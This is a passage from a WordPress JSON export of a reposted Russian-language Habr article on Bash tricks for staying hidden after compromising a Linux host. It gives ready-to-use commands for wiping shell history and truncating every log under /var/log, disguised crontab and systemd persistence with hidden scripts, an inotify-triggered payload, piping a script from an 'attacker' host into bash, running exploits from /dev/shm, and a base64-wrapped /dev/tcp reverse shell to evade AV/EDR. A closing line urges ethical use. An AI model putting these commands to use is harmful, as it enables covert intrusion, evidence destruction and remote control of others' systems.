&gt; ~\/.bash_history; history -c<\/code><\/p>\n<p><code>find \/var\/log -type f -exec truncate -s 0 {} \\;<\/code><\/p>\n<p><strong>\u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0434\u043b\u044f \u043e\u0447\u0438\u0441\u0442\u043a\u0438 \u043b\u043e\u0433\u043e\u0432<\/strong><\/p>\n<p>\u041e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u0435 \u0432\u0441\u0435 \u0432 \u043e\u0434\u0438\u043d \u0441\u043a\u0440\u0438\u043f\u0442 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u0435 \u0435\u0433\u043e \u043f\u043e\u0441\u043b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438:<\/p>\n<p><code>#!\/bin\/bash<\/code><\/p>\n<p><code>history -c &amp;&amp; history -w<\/code><\/p>\n<p><code>find \/var\/log -type f -exec truncate -s 0 {} \\;<\/code><\/p>\n<p>\u041d\u0430\u0437\u043e\u0432\u0438\u0442\u0435 \u0435\u0433\u043e <a href=\"http:\/\/update.sh\" rel=\"noopener noreferrer nofollow\"><em>update.sh<\/em><\/a> \u0438 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435 \u0432 <em>\/tmp<\/em>.<\/p>\n<h4>9) \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u043a\u0440\u044b\u0442\u043d\u044b\u0445 Persistence \u0442\u0435\u0445\u043d\u0438\u043a<\/h4>\n<p><strong>\u0411\u044d\u043a\u0434\u043e\u0440\u044b \u0432 <em>Crontab<\/em>, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e<\/strong><\/p>\n<p>Crontab \u043e\u0442\u043b\u0438\u0447\u043d\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f.<\/p>\n<p><code>(crontab -l ; echo \"*\/5 * * * * \/usr\/local\/bin\/.<\/code><a href=\"http:\/\/sys-update.sh\" rel=\"noopener noreferrer nofollow\"><code>sys-update.sh<\/code><\/a><code>\") | crontab -<\/code><\/p>\n<p>\u0421\u0434\u0435\u043b\u0430\u0439\u0442\u0435 \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u043e\u0445\u043e\u0436\u0438\u043c \u043d\u0430 \u0444\u043e\u043d\u043e\u0432\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.<\/p>\n<p><strong>Bash \u0432 Systemd Units \u0438\u043b\u0438 RC \u0441\u043a\u0440\u0438\u043f\u0442\u0430\u0445<\/strong><\/p>\n<p>\u0421\u043e\u0437\u0434\u0430\u0439\u0442\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 systemd unit:<\/p>\n<p><code>[Unit]<\/code><\/p>\n<p><code>Description=System Daemon<\/code><\/p>\n<p><code>[Service]<\/code><\/p>\n<p><code>ExecStart=\/usr\/local\/bin\/.<\/code><a href=\"http:\/\/update-daemon.sh\" rel=\"noopener noreferrer nofollow\"><code>update-daemon.sh<\/code><\/a><\/p>\n<p><code>[Install]<\/code><\/p>\n<p><code>WantedBy=<\/code><a href=\"http:\/\/multi-user.target\" rel=\"noopener noreferrer nofollow\"><code>multi-user.target<\/code><\/a><\/p>\n<p>\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0435 \u043a\u0430\u043a <em>\/etc\/systemd\/system\/update-daemon.service<\/em> \u0438 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435.<\/p>\n<p><strong>\u041e\u0441\u0442\u0430\u0435\u043c\u0441\u044f \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u044b\u043c\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <em>Inotify<\/em> \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432<\/strong><\/p>\n<p>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 <em>inotifywait<\/em> \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u043f\u0440\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u043a \u0444\u0430\u0439\u043b\u0430\u043c \u0438\u043b\u0438 \u0438\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0438:<\/p>\n<p><code>inotifywait -m \/tmp -e create -e modify |<\/code><\/p>\n<p><code>while read path action file; do<\/code><\/p>\n<p><code>\u00a0\u00a0bash \/dev\/.hidden_<\/code><a href=\"http:\/\/payload.sh\" rel=\"noopener noreferrer nofollow\"><code>payload.sh<\/code><\/a><\/p>\n<p><code>done<\/code><\/p>\n<p>\u041e\u0447\u0435\u043d\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431. \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u0433\u0434\u0430 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u044f\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f.<\/p>\n<h4>10) \u0420\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u0432 \u043f\u0430\u043c\u044f\u0442\u0438<\/h4>\n<p><em>Curl + Bash<\/em> = \u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u0430 \u0434\u0438\u0441\u043a<\/p>\n<p>\u0417\u0430\u0447\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0444\u0430\u0439\u043b, \u0435\u0441\u043b\u0438 \u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u043f\u043e\u0442\u043e\u043a\u043e\u043c?<\/p>\n<p><code>curl <\/code><a href=\"http:\/\/attacker\/payload.sh\" rel=\"noopener noreferrer nofollow\"><code>http:\/\/attacker\/payload.sh<\/code><\/a><code> | bash<\/code><\/p>\n<p>\u041d\u0438\u043a\u0430\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0434\u0438\u0441\u043a\u0435. \u0427\u0438\u0441\u0442\u043e \u0438 \u0431\u044b\u0441\u0442\u0440\u043e.<\/p>\n<p><strong>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 <em>dev\/shm<\/em> \u0438 <em>\/tmp<\/em> \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432 \u041e\u0417\u0423<\/strong><\/p>\n<p>\u041e\u0431\u0430 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f <em>tmpfs<\/em> (\u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u0432 \u041e\u0417\u0423). \u041e\u0442\u043b\u0438\u0447\u043d\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0442 \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u044b \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c\u0441\u044f.<\/p>\n<p><code>cp exploit \/dev\/shm\/exploit<\/code><\/p>\n<p><code>.\/dev\/shm\/exploit<\/code><\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u2013 \u0432\u0441\u0435 \u0438\u0441\u0447\u0435\u0437\u0430\u0435\u0442.<\/p>\n<p><strong>\u0423\u0445\u043e\u0434 \u043e\u0442 AV\/EDR \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Bash Droppers<\/strong><\/p>\n<p>\u0411\u0430\u0437\u043e\u0432\u044b\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434:<\/p>\n<p><code>echo \"bash -i &gt;&amp; \/dev\/tcp\/ip\/port 0&gt;&amp;1\" | base64<\/code><\/p>\n<p>\u0417\u0430\u0442\u0435\u043c \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0439\u0442\u0435 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u0435 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u043c \u0445\u043e\u0441\u0442\u0435. \u041f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u044b\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f.<\/p>\n<h3>\u0421\u043e\u0432\u0435\u0442\u044b \u043a\u0430\u043a \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u044b\u043c<\/h3>\n<h4>\u041d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 root, \u043a\u043e\u0433\u0434\u0430 \u044d\u0442\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e<\/h4>\n<p><em>Root<\/em> \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435. \u041c\u043d\u043e\u0433\u0438\u0435 \u0432\u0435\u0449\u0438 \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c.<\/p>\n<h4>\u0418\u0437\u0431\u0435\u0433\u0430\u0439\u0442\u0435 \u0448\u0443\u043c\u0430 \u2014 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0439\u0442\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Nmap<\/h4>\n<p>\u041d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 nmap -A (\u043d\u0430 \u0432\u0441\u044e \u043c\u043e\u0449\u043d\u043e\u0441\u0442\u044c). \u0414\u0435\u0439\u0441\u0442\u0432\u0443\u0439\u0442\u0435 \u0442\u043e\u0447\u0435\u0447\u043d\u043e:<\/p>\n<p><code>nmap -sS -T2 -Pn -p 22,80,443 target<\/code><\/p>\n<p>\u0422\u0438\u0445\u043e. \u042d\u043b\u0435\u0433\u0430\u043d\u0442\u043d\u043e. \u042d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e.<\/p>\n<h4>\u0423\u0431\u0438\u0440\u0430\u0439\u0442\u0435 \u0437\u0430 \u0441\u043e\u0431\u043e\u0439<\/h4>\n<p>\u0421\u043a\u0440\u0438\u043f\u0442\u044b, \u043b\u043e\u0433\u0438, \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0435 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438, \u0443\u0434\u0430\u043b\u0438\u0442\u0435 \u0442\u043e, \u0447\u0442\u043e \u043f\u0440\u0438\u043d\u0435\u0441\u043b\u0438. \u0412\u0441\u0435\u0433\u0434\u0430 \u0438\u043c\u0435\u0439\u0442\u0435 \u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u043e\u0447\u0438\u0441\u0442\u043a\u0438.<\/p>\n<h3>\u0417\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435. \u0418\u0441\u043a\u0443\u0441\u0441\u0442\u0432\u043e \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u044b\u043c<\/h3>\n<p>\u0421\u043a\u0440\u044b\u0442\u043d\u043e\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0432\u044b\u043a, \u044d\u0442\u043e \u0438\u0441\u043a\u0443\u0441\u0441\u0442\u0432\u043e. \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e, \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0435\u0441\u044c \u043b\u0438 \u0432\u044b \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u043e\u0439 \u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435\u043c, \u044d\u0442\u0438 10 \u0442\u0440\u044e\u043a\u043e\u0432 \u0441 Bash \u0434\u0430\u044e\u0442 \u0432\u0430\u043c \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e\u0435 \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u043e \u0432 \u0443\u043c\u0435\u043d\u0438\u0438 \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u0432\u043d\u0435 \u0440\u0430\u0434\u0430\u0440\u043e\u0432. \u041f\u043e\u043c\u043d\u0438\u0442\u0435: \u043b\u0443\u0447\u0448\u0438\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u2014 \u044d\u0442\u043e \u043d\u0435 \u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043f\u0430\u0434\u0443\u0442 \u0432\u043d\u0443\u0442\u0440\u044c&#8230; \u0430 \u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0439\u0434\u0443\u0442 \u043d\u0435\u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u043c\u0438.<\/p>\n<p>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u044d\u0442\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0441 \u0443\u043c\u043e\u043c. \u041e\u0441\u0432\u043e\u0439\u0442\u0435 \u0438\u0445 \u0432 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u0418 \u0432\u0441\u0435\u0433\u0434\u0430, \u0432\u0441\u0435\u0433\u0434\u0430 \u043e\u0441\u0442\u0430\u0432\u0430\u0439\u0442\u0435\u0441\u044c \u044d\u0442\u0438\u0447\u043d\u044b\u043c\u0438.<\/p>\n<p><strong>\u0415\u0449\u0435 \u0431\u043e\u043b\u044c\u0448\u0435 \u043f\u043e\u0437\u043d\u0430\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430 \u0432 Telegram-\u043a\u0430\u043d\u0430\u043b\u0435\u00a0\u2014\u00a0<\/strong><a href=\"https:\/\/t.me\/+C6qqqfBhkvY1ZDdi\" rel=\"noopener noreferrer nofollow\"><strong>Life-Hack &#8212; \u0425\u0430\u043a\u0435\u0440<\/strong><\/a><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/935578\/\"> https:\/\/habr.com\/ru\/articles\/935578\/<\/a><br \/><\/br><\/br><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-470128","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/470128","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=470128"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/470128\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=470128"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=470128"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=470128"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}